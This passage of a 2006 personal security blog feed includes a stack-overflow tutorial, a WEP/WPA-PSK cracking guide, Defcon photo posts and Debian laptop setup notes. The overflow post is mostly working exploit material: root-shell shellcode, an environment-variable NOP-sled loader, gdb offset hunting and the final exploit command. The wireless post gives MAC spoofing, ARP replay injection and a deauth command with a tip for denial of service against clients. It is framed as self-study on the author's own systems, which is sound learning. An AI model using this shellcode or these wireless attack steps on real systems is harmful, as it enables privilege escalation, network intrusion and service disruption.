of gcc will actually allocate more memory for the buffer , &lt;br /&gt;so you may need more to fill. This is just in my case. &lt;br /&gt;&lt;br /&gt;We will do this using perl.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;./vuln `perl -e 'print "A" x 20'`&lt;br /&gt;Now look at $ebp and $eip in GDB. We have successfully overwritten both with “A”'s.&lt;br /&gt;(gdb) i r $eip&lt;br /&gt;eip            0x41414141       0x41414141&lt;br /&gt;(gdb) i r $ebp&lt;br /&gt;ebp            0x41414141       0x41414141&lt;br /&gt;(gdb)q &lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we can control the flow of the program. What we want to do is overwrite $eip &lt;br /&gt;with an address of our choice. Pointing it to something a bit more useful, &lt;br /&gt;like some shellcode to drop us a shell. Since this is just a local exploit &lt;br /&gt;and the buffer is not that big to store a shell we can write a simple eggshell &lt;br /&gt;to load into memory. &lt;br /&gt;&lt;br /&gt;Below is a small eggshell.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;-------------------------------eggshell.c-------------------------------&lt;br /&gt;#include stdio.h //dont forget brackets again&lt;br /&gt;#define NOP 0x90 /* nops , we want to land here */&lt;br /&gt;&lt;br /&gt;char shellcode[] =&lt;br /&gt;  "\x6a\x17"                      // push $0x17&lt;br /&gt;  "\x58"                        // pop  %eax&lt;br /&gt;  "\x31\xdb"                    // xor  %ebx, %ebx&lt;br /&gt;  "\xcd\x80"                    // int  $0x80&lt;br /&gt;&lt;br /&gt;  "\x31\xd2"                    // xor  %edx, %edx  &lt;br /&gt;  "\x6a\x0b"                    // push $0xb&lt;br /&gt;  "\x58"                        // pop  %eax&lt;br /&gt;  "\x52"                        // push %edx&lt;br /&gt;  "\x68\x2f\x2f\x73\x68"        // push $0x68732f2f&lt;br /&gt;  "\x68\x2f\x62\x69\x6e"        // push $0x6e69622f&lt;br /&gt;  "\x89\xe3"                    // mov  %esp, %ebx&lt;br /&gt;  "\x52"                        // push %edx&lt;br /&gt;  "\x53"                        // push %ebx&lt;br /&gt;  "\x89\xe1"                    // mov  %esp, %ecx&lt;br /&gt;  "\xcd\x80";                   // int  $0x80&lt;br /&gt;&lt;br /&gt;/* This is not my shell code , I got it from milw0rm.com.&lt;br /&gt;Its  setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])&lt;br /&gt;&lt;a href="http://www.milw0rm.com/shellcode/1637"&gt;http://www.milw0rm.com/shellcode/1637&lt;/a&gt;&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;int main(void)&lt;br /&gt;{&lt;br /&gt;char egg[512];&lt;br /&gt;puts("loaded eggshell into env");&lt;br /&gt;memset(egg,NOP,512);&lt;br /&gt;memcpy(&amp;egg[512-strlen(shellcode)],shellcode,strlen(shellcode));&lt;br /&gt;setenv("EGG", egg, 1);&lt;br /&gt;putenv(egg);&lt;br /&gt;system("/bin/bash");&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;-------------------------------eggshell.c-------------------------------&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we can compile and load the eggshell.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;gcc eggshell.c -o eggshell&lt;br /&gt;./eggshell&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now lets see where we want to point eip to. We want to look for our nopsled we &lt;br /&gt;created/loaded with our eggshell. The  eggshell loaded the nops + shellcode &lt;br /&gt;into memory. To find the landing point in memory we turn to gdb again.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;gdb -c core ./vuln&lt;br /&gt;&lt;br /&gt;(gdb) x/s $esp  //x is short for examine do a “help examine” to find out more &lt;br /&gt;0xaffff6d0:      "AA"&lt;br /&gt;(gdb) &lt;br /&gt;0xaffff6d3:      ""&lt;br /&gt;(gdb) &lt;br /&gt;0xaffff6d4:      "D÷ÿ¯P÷ÿ¯\001"&lt;br /&gt;(gdb) &lt;br /&gt;..........We keep hitting enter until we see the following........&lt;br /&gt;0xaffff8f2:      "EGG=", '\220' &lt;repeats 196 times&gt;...&lt;br /&gt;(gdb) &lt;br /&gt;0xaffff9ba:      '\220' &lt;repeats 200 times&gt;... //This is where we want to land!&lt;br /&gt;(gdb) &lt;br /&gt;&lt;/b&gt;&lt;br /&gt;So &lt;b&gt;0xaffff9ba&lt;/b&gt; is our address to slide down our nops into our shellcode. &lt;br /&gt;This is what we want to overwrite $eip with. If you wanted to see the whole egg you could do &lt;br /&gt;something like the following.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;echo -n $EGG |hexdump -Cv&lt;br /&gt;&lt;br /&gt;00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000020  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000030  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000040  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000050  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000060  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000070  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000080  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000090  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000000a0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000000b0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000000c0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000000d0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000000e0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000000f0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000100  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000110  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000120  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000130  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000140  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000150  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000160  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000170  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000180  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;00000190  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000001a0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000001b0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000001c0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000001d0  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|&lt;br /&gt;000001e0  90 6a 17 58 31 db cd 80  31 d2 6a 0b 58 52 68 2f  |.j.X1ÛÍ.1Òj.XRh/|&lt;br /&gt;000001f0  2f 73 68 68 2f 62 69 6e  89 e3 52 53 89 e1 cd 80  |/shh/bin.ãRS.áÍ.|&lt;br /&gt;00000200  f4 2f fd a7                                       |ô/ý§|&lt;br /&gt;00000204&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;See all of our nops followed by the shellcode?&lt;br /&gt;&lt;br /&gt;We now have the address we want to overwrite $eip with. Lets assume we didn't &lt;br /&gt;know the buffer was only [10] , since we only overwrote it with “A”'s there &lt;br /&gt;really know way of telling what our offset is. Offset would be your buffer &lt;br /&gt;minus the address of eip. &lt;br /&gt;&lt;br /&gt;You could do something like so:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;perl -e 'print “A”x4 . “B”x4 .”C”x4' and so on....... &lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Then you could see what letter actually overwrote eip. We could then calculate the &lt;br /&gt;offset and just add the eip to it. But thats not to practical&lt;br /&gt;(well for this example its not bad). &lt;br /&gt;So this is where we turn to metasploit.&lt;br /&gt; &lt;br /&gt;Metasploit has an nice little perl PatternCreate() function to create a pattern of &lt;br /&gt;unique 4 byte output. This way we can easily calculate where we overwrote $eip and &lt;br /&gt;then find our offset. So earlier we know we overwrote $eip with 20 “A”'s. &lt;br /&gt;Lets create a 20 line string which is unique every 4 bytes. &lt;br /&gt;The module is located in ~/framework/lib.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;perl -e 'use Pex;print Pex::Text::PatternCreate(20)'&lt;br /&gt;Aa0Aa1Aa2Aa3Aa4Aa5Aa&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Now lets overflow our vuln.c with that pattern.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;./vuln Aa0Aa1Aa2Aa3Aa4Aa5Aa&lt;br /&gt;sent to buffer : Aa0Aa1Aa2Aa3Aa4Aa5Aa &lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Now lets see what is in $eip. &lt;br /&gt;&lt;b&gt;&lt;br /&gt;(gdb) i r $eip &lt;br /&gt;eip            0x35614134       0x35614134&lt;br /&gt;(gdb) q&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Now metasploit even makes it easier to calculate our offset with the help of &lt;br /&gt;PatteronOffset.pl located in ~/framework/sdk&lt;br /&gt;&lt;br /&gt;We pass it the big-endian address in EIP(which is 0x35614134) &lt;br /&gt;then the size of our pattern(which is 20). Lets try it out.&lt;br /&gt;&lt;b&gt; &lt;br /&gt;./patternOffset.pl 0x35614134 20&lt;br /&gt;14&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;So 14 is our offset! We now know our offset and the address to our shellcode.  &lt;br /&gt;What we want to pass to our vuln.c is 14 chars + our address to the &lt;br /&gt;shellcode(4 bytes). Which makes it overwrite the $eip pointing to our shellcode.&lt;br /&gt;&lt;br /&gt;Since 0xaffff8f2(address to shellcode) is in big-endian and we are on little-endian(x86 architecture) &lt;br /&gt;we will have to convert the address to little-endian. To do this we break up &lt;br /&gt;the address in 2 bytes, drop the “0x” and then reverse it. Like so:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;af ff f8 f2          //which equals&lt;br /&gt;\xf2\xf8\xff\xaf    //we add the \x so it won't interpret it as ASCII&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Now want to send our vuln.c 14 “A”'s + \xf2\xf8\xff\xaf  &lt;br /&gt;&lt;b&gt;&lt;br /&gt;./vuln `perl -e 'print "A" x 14'``printf "\xf2\xf8\xff\xaf"`&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;There we exploited a nice little buffer. You should be in a different shell. &lt;br /&gt;If you type exit you will go back to your original. If you want better results &lt;br /&gt;play around with the shellcode. You can find more at milw0rm.com, or write your own.&lt;br /&gt;&lt;br /&gt;If anyone sees something I could do better or anything wrong please tell me. &lt;br /&gt;I would be happy to hear. Or even if you got questions please feel free to ask.&lt;br /&gt;This was just to get you started in overlflows.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is my crappy little ASCI art of Virtual Memory, to help visualize it. &lt;br /&gt;I stole the diagram from a the “Intro To Shellcoding” pdf referenced below.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;|Shared	        | .text	     | .bss    	| &lt;-------------------------stack	| argc,	|&lt;br /&gt;|Libraries	| _start:    | and     	|              char buf[10][ebp][eip]  	| argv,	|&lt;br /&gt;| 		|	     | heap	|					| envp	|&lt;br /&gt;|		|            |		|					|	|&lt;br /&gt;-----------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Direction --------------&gt;&lt;br /&gt;&lt;br /&gt;- .text segment is the program entry point.&lt;br /&gt;- .bss holds uninitialized data that was declared in the program.&lt;br /&gt;- heap is where the program used malloc().&lt;br /&gt;- stack is at the top of the memory&lt;br /&gt;- arg's is the programs arguments set up by the OS.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;a href="http://www.milw0rm.com"&gt;http://www.milw0rm.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.rootsecure.net/content/downloads/pdf/intro_to_shellcoding.pdf"&gt;http://www.rootsecure.net/content/downloads/pdf/intro_to_shellcoding.pdf&lt;/a&lt;br /&gt;&gt;&lt;br /&gt;&lt;a href="http://insecure.org/stf/smashstack.txt"&gt;http://insecure.org/stf/smashstack.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-7654183050461483456?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/7654183050461483456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=7654183050461483456' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7654183050461483456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7654183050461483456'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/08/simple-local-stack-overflow_12.html' title='Simple Local Stack Overflow'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-4400275938399842724</id><published>2006-08-11T12:35:00.000-05:00</published><updated>2008-04-25T13:23:28.989-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Past Defcon Pictures</title><content type='html'>&lt;table style="width:194px;"&gt;&lt;tr&gt;&lt;td align="center" style="height:194px;background:url(http://picasaweb.google.com/f/img/transparent_album_background.gif) no-repeat left"&gt;&lt;a href="http://picasaweb.google.com/devin.ertel/PastDefcons?authkey=UjJzxrFL-bI"&gt;&lt;img src="http://lh5.google.com/devin.ertel/RpUUsUVbaQE/AAAAAAAAADI/2UG_A7ftaVs/s160-c/PastDefcons.jpg" width="160" height="160" style="margin:1px 0 0 4px;"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="text-align:center;font-family:arial,sans-serif;font-size:11px"&gt;&lt;a href="http://picasaweb.google.com/devin.ertel/PastDefcons?authkey=UjJzxrFL-bI" style="color:#4D4D4D;font-weight:bold;text-decoration:none;"&gt;Past Defcons&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-4400275938399842724?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/4400275938399842724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=4400275938399842724' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/4400275938399842724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/4400275938399842724'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/08/past-defcon-pictures.html' title='Past Defcon Pictures'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-6707663708444379519</id><published>2006-08-11T12:01:00.000-05:00</published><updated>2008-04-25T13:23:28.989-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>defcon 14</title><content type='html'>&lt;table style="width:194px;"&gt;&lt;tr&gt;&lt;td align="center" style="height:194px;background:url(http://picasaweb.google.com/f/img/transparent_album_background.gif) no-repeat left"&gt;&lt;a href="http://picasaweb.google.com/devin.ertel/Defcon14?authkey=LVtfZ7OADUw"&gt;&lt;img src="http://lh4.google.com/devin.ertel/RpUK0EVbaFE/AAAAAAAAACc/Gx7_ZMeqh18/s160-c/Defcon14.jpg" width="160" height="160" style="margin:1px 0 0 4px;"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="text-align:center;font-family:arial,sans-serif;font-size:11px"&gt;&lt;a href="http://picasaweb.google.com/devin.ertel/Defcon14?authkey=LVtfZ7OADUw" style="color:#4D4D4D;font-weight:bold;text-decoration:none;"&gt;defcon14&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-6707663708444379519?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/6707663708444379519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=6707663708444379519' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6707663708444379519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6707663708444379519'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/08/defcon-14.html' title='defcon 14'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-5290104053506791760</id><published>2006-07-28T09:44:00.001-05:00</published><updated>2007-07-11T09:55:23.399-05:00</updated><title type='text'>Cracking WEP / WPA-PSK</title><content type='html'>Ok, I know there are tons of docs out there on this and it has been done a million times. This is just for my personal reference. I always knew WEP was insecure, I just never did anything about it (found it boring). So on one bored night I decided to find out how long it would take to break into my MAC Filtering/ WEP 128 Bit key network. It took about 1 hour to gather all the IV’s I needed and to crack the key. So here’s how to do it.&lt;br /&gt;&lt;br /&gt;First you need aircrack.&lt;br /&gt;&lt;a href="http://www.aircrack-ng.org"&gt;http://www.aircrack-ng.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I will usually find the network I want to attack using Kismet.  Then let the fun begin. &lt;br /&gt;Now we can startup airodump-ng to capture all the stuff we need.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;airodump-ng  -w wepcrack -c 1 wlan0&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;To save headaches of MAC filtering lets just spoof our MAC to a client that is already connected or one you know is allowed.&lt;br /&gt;(If nobody is connected and MAC filtering is enabled, you are kind of out of luck)&lt;br /&gt;&lt;b&gt;&lt;br /&gt;ifconfig wlan0 down&lt;br /&gt;ifconfig wlan0 hw ether FF:31:13:3F:44:55 (client MAC)&lt;br /&gt;ifconfig wlan0 up&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;There much better, MAC filtering is defeated.&lt;br /&gt;&lt;br /&gt;Ok now we are capturing the data with airodump, lets inject some traffic and generate some IV’s. In airodump the data column is the IV’s. For a 64 bit key you need around 300,000 and about 1 million for 128 bit key. But this will vary. On to the injection. &lt;br /&gt;&lt;br /&gt;Here is a common ARP-request replay attack, which works pretty well.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aireplay-ng  –3 –b 00:14:BF:18:9F:88 (bssid of AP)  -h FF:31:13:3F:44:55 (client) wlan0&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You may have to wait a while for the first ARP request to be seen, but once it gets a couple its all down hill from there.&lt;br /&gt;&lt;br /&gt;Aireplay-ng will look like below when running.&lt;br /&gt;&lt;br /&gt;Saving ARP requests in replay_arp-0727-12134.cap&lt;br /&gt;You must also start airodump to capture replies.&lt;br /&gt;Read 3643 packets (got 3 ARP requests), sent 2537 packets...&lt;br /&gt;&lt;br /&gt;Note: If you cannot get any ARP requests, sometimes doing a de-auth on the client will sometimes generate some traffic for you. It is done like below. &lt;br /&gt;(If you want to DOS the client just change the 20 to a 0, this will make it loop rather then run 20 times)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aireplay-ng –0  20 –a 00:14:BF:18:9F:88 (bssid of AP) –c FF:31:13:3F:44:55 (client) wlan0&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you have an ARP and are replaying traffic. Now just wait for the IV’s to come in.&lt;br /&gt;Once you have enough IV’s lets crack the .cap file.&lt;br /&gt;&lt;br /&gt;At a basic level you can just run it like below.  By default it tries to crack a 128 bit key. Sometimes its best to start with a 64 bit key and work your way up. Its all up to you.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;aircrack-ng [options] capture_file&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Sometimes you will have to play with some options depending on the key. Please refer to aircrack’s site for more explanation. It is very straightforward.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.aircrack-ng.org/doku.php?id=aircrack-ng"&gt;http://www.aircrack-ng.org/doku.php?id=aircrack-ng&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That’s it ! Key is broken. Now I will quickly go through WPA-PSK. Basically, the only way I found to attack it is a dictionary attack against the PSK.&lt;br /&gt;&lt;br /&gt;The goal here is to capture the 4-way handshake. So do the de-auth as described above to cause the client to deauth and reconnect in hopes of catching the 4-way handshake. Sometimes this will take multiple tries to catch it. What I do is just keep on running aircrack against the active dump file to see if I got a handshake or not.&lt;br /&gt;(You can also run ethereal on the file to see exactly what the handshake looks like just filter by EAPOL)&lt;br /&gt;&lt;br /&gt;Once you got it.  You can stop capturing traffic.&lt;br /&gt;&lt;br /&gt;Now you can run aircrack with the WPA option and point it to your dictionary file. But I had troubles passing my very big dictionary file to it. So I then turned to cowpatty. Very straightforward, run it to see available options.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/cowpatty"&gt;http://sourceforge.net/projects/cowpatty&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Key found! Well I cheated a bit and put my PSK in the middle of the dictionary file.&lt;br /&gt;&lt;br /&gt;This basically says that when using WPA-PSK, please people use a very good password. Something that will not be found in a normal dictionary file.&lt;br /&gt;&lt;br /&gt;Well pretty simple huh? Almost to simple. Don't need to much brains for this attack.&lt;br /&gt;&lt;br /&gt;I am now starting to try to inject traffic with scapy. So if anyone has generated arp’s to wifi with it I would be interested to hear.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Refereneces:&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/cowpatty"&gt;http://sourceforge.net/projects/cowpatty&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.aircrack-ng.org/doku.php"&gt;http://www.aircrack-ng.org/doku.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-5290104053506791760?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/5290104053506791760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=5290104053506791760' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/5290104053506791760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/5290104053506791760'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2006/07/cracking-wep-wpa-psk_28.html' title='Cracking WEP / WPA-PSK'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-6258073248444916758</id><published>2006-05-16T15:04:00.001-05:00</published><updated>2007-07-11T09:55:23.243-05:00</updated><title type='text'>Installing Debian on Dell Latitude D510</title><content type='html'>Well just got one of these things from work. Kind of stinks because my IBM A31 played so nice with linux. So I'm writing this to document this long proces and hopefully someone else doesn't have to reinstall a million times while pulling all their hair out.&lt;br /&gt;&lt;br /&gt;First of all booting with the debian-installer with the option “linux26” will not work. These drives are SATA, and the kernel used under that option does not pick it up. So download the stable CD and install it with default options giving you the 2.4 kernel. The 2.4 kernel will pick up the sata as IDE. Ok now we have a base “stable” debian system.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 1 (get testing packages):&lt;/b&gt;&lt;br /&gt;Add testing to your sources.list (I always add after main - contrib &amp; non-free, that’s your call)&lt;br /&gt;&lt;br /&gt;* apt-get update&lt;br /&gt;* apt-get dist-upgrade - This is optional, you can stay on stable if you want or just do it later.&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;If you do the dist-upgrade use xserver-xorg for your xserver this has support for the video card “i810”&lt;br /&gt;If you stay on Xfree86 you can use the “vesa” driver but you will not get direct rendering.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2 (install/boot 2.6 kernel):&lt;/b&gt;&lt;br /&gt;At the time of writing this, 2.6.15 was new and had built-in support for ipw2200, so that’s what I went with.&lt;br /&gt;&lt;br /&gt;* apt-get install linux-image-2.6.15-1-686&lt;br /&gt;&lt;br /&gt;Now we have to change some things to point to sda.&lt;br /&gt;&lt;br /&gt;Change in /boot/grub/menu.lst&lt;br /&gt;* search for kopt and change to sda&lt;br /&gt;* look for the section the kernel boots and change to sda&lt;br /&gt;&lt;br /&gt;Change /boot/grub/device.map&lt;br /&gt;* change the hdc to sda&lt;br /&gt;&lt;br /&gt;Change in /etc/fstab&lt;br /&gt;* change the hd’s sd’s&lt;br /&gt;* change the cdrom  scd0 (this will be used later)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3 (Get scd0/CDROM working): &lt;/b&gt;&lt;br /&gt;We will have to recompile the kernel for this one. So grab the source.&lt;br /&gt;If you have not already you will need to install kernel-package for this way.&lt;br /&gt;You can always comipile the kernel your own way too.&lt;br /&gt;&lt;br /&gt;* apt-get install linux-source-2.6.15&lt;br /&gt;* extract kernel in /usr/src and make ln –s linux kernel-source-dir&lt;br /&gt;* now copy current kernel config from /boot/ to /usr/src/linux/.config &lt;br /&gt;&lt;br /&gt;You can make other changes but I’m just showing the one for the sata cdrom.&lt;br /&gt;&lt;br /&gt;* edit /usr/src/linux/drivers/scsi/libata-core.c and change int atapi_enabled = 0 to =1&lt;br /&gt;&lt;br /&gt;Now we compile&lt;br /&gt;* make oldconfig&lt;br /&gt;* make-kpkg --initrd --append-to-version="-devin_ertel_rocks" kernel_image &lt;--hope you dont cp/paste :&gt;&lt;br /&gt;&lt;br /&gt;Now install it and boot it. Then mount a cd! You can get rid of your other kernels if you like.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 4 (Built-in Wireless – IPW2200):&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Since ipw2200 is built in to 2.6.15 all we have to do is drop the firmware in /lib/firmware.&lt;br /&gt;Or you just look in /etc/hotplug/firmware.agent to see where hotplug looks for firmware.&lt;br /&gt;&lt;br /&gt;* Download the ipw2200 firmware (at the time I needed 2.4, maybe different now)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ipw2200.sourceforge.net/"&gt;http://ipw2200.sourceforge.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;* Extract it into /lib/firmware &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 5 (resolution and direct rendering):&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now you will have to do a dist-upgrade for this to work correctly. Not sure what package gets direct rendering (xlibs, new xorg???) but this is the only way it worked for me.&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;It does get a better FPS in glxgears and looks a lot crisper but really does not seem to be the&lt;br /&gt;resolution I set. So if anyone sees something I am doing wrong or has other ideas I would love to&lt;br /&gt;hear them.&lt;br /&gt;&lt;br /&gt;* apt-get install 915resolution (you can read more about what this does from the links below)&lt;br 